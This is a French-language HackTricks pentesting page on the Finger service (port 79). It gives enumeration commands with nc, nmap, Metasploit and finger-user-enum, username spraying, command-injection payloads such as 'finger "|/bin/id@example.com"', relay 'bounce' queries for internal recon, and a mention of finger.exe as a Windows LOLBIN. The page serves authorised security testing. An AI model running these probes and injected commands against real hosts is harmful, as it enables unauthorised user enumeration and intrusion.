79 - Pentesting Finger

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Le programme/service Finger est utilisé pour récupérer des informations sur les utilisateurs d’un ordinateur. En général, les informations fournies incluent le nom de connexion de l’utilisateur, nom complet, et, dans certains cas, des détails supplémentaires. Ces détails supplémentaires peuvent inclure l’emplacement du bureau et le numéro de téléphone (si disponibles), l’heure de connexion de l’utilisateur, la période d’inactivité (idle time), la dernière fois que le courrier a été lu par l’utilisateur, et le contenu des fichiers .plan / .project de l’utilisateur.

D’un point de vue pentesting, Finger reste intéressant car le protocole est extrêmement petit, lisible par un humain, et souvent implémenté avec une logique d’analyse héritée. Un démon peut divulguer :

  • utilisateurs actuellement connectés
  • noms complets / données GECOS
  • répertoires home, shells, horaires des dernières connexions, et TTYs
  • contenu des .plan / .project
  • comportement de relais pour interroger un deuxième hôte via le premier

Port par défaut : 79

PORT   STATE SERVICE
79/tcp open  finger

Énumération

nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79         # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79  # Long format, if the daemon supports it

Le protocole est ASCII over TCP/79, normalement terminé par CRLF, et le server closes the TCP connection après la réponse. En pratique, une null query (\r\n) suffit souvent pour récupérer la liste d’utilisateurs actuelle, ce que fait également le script NSE par défaut finger de Nmap.

User enumeration

finger @<Victim>       #List users
finger admin@<Victim>  #Get info of user
finger user@<Victim>   #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients

Vous pouvez également utiliser finger-user-enum de pentestmonkey, quelques exemples :

finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

La nuance importante avec Finger enumeration est qu’il n’existe aucun format de réponse strict entre les daemons. Des outils tels que finger-user-enum fonctionnent bien contre les services de type Solaris car les utilisateurs valides et invalides produisent des mises en page textuelles différentes, mais vous devrez peut‑être comparer manuellement les réponses positives et négatives et adapter les regexes si le daemon cible est inhabituel.

Sondes utiles quand le daemon ne se comporte pas comme un Solaris/BSD standard :

# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79

# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79

# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79

Nmap exécute un script en utilisant les default scripts

nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>

Le script NSE finger de Nmap est sûr et envoie simplement une null query pour récupérer la liste d’utilisateurs courante. Si vous souhaitez étendre la découverte des noms d’utilisateur sur des daemons permissifs, envisagez d’élargir l’approche avec des wordlists personnalisées ou d’utiliser des projets tels que fat-finger.nse, qui envoient plusieurs noms de comptes probables dans une seule requête et recherchent des correspondances username/GECOS.

Metasploit emploie plus de techniques que Nmap

use auxiliary/scanner/finger/finger_users

Shodan

  • port:79 USER

Exécution de commandes

finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"

Le RFC 1288 autorise explicitement les implémentations à exécuter un programme contrôlé par l’utilisateur en réponse à une requête Finger, d’où provient le classique abus |/bin/....

C’est rare aujourd’hui, mais si vous tombez sur un daemon personnalisé ou legacy, testez soigneusement :

  • métacaractères shell dans le traitement du nom d’utilisateur
  • exécution de |program dans les hooks de plan/projet
  • wrappers backend qui transmettent le nom d’utilisateur à un script shell ou à un CGI

N’oubliez pas non plus la voie d’abus client-side sous Windows : finger.exe est un LOLBIN signé capable de récupérer du texte arbitraire depuis un serveur Finger distant sur TCP/79, puis de rediriger cette sortie vers un autre processus. Cette technique est plus pertinente pour la post-exploitation que pour l’énumération de services, donc consultez the Linux reverse-shell page pour l’idée du transport shell et gardez-la en tête lorsque vous simulez le tradecraft des attaquants.

Finger Bounce

Use a system as a finger relay

finger user@host@victim
finger @internal@external

Ce n’est pas qu’une bizarrerie d’implémentation : RFC 1288 définit le transfert récursif @hostname (requêtes {Q2}). If the daemon supports relaying, the intermediate server opens the second Finger connection for you and returns the response back over the original socket. That means:

  • votre hôte peut ne pas se connecter directement à la cible finale
  • le relais peut être utilisé pour énumérer les utilisateurs internes depuis un service Finger exposé
  • finger-user-enum prend cela en charge nativement avec -r <relay>

Exemple:

# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79

# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

Si le relaying fonctionne, utilisez-le comme un internal recon primitive et comparez la sortie relayée avec la sortie directe du daemon public. Des différences de formatage ou de filtrage révèlent souvent si le relay path est géré par un backend ou un wrapper séparé.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks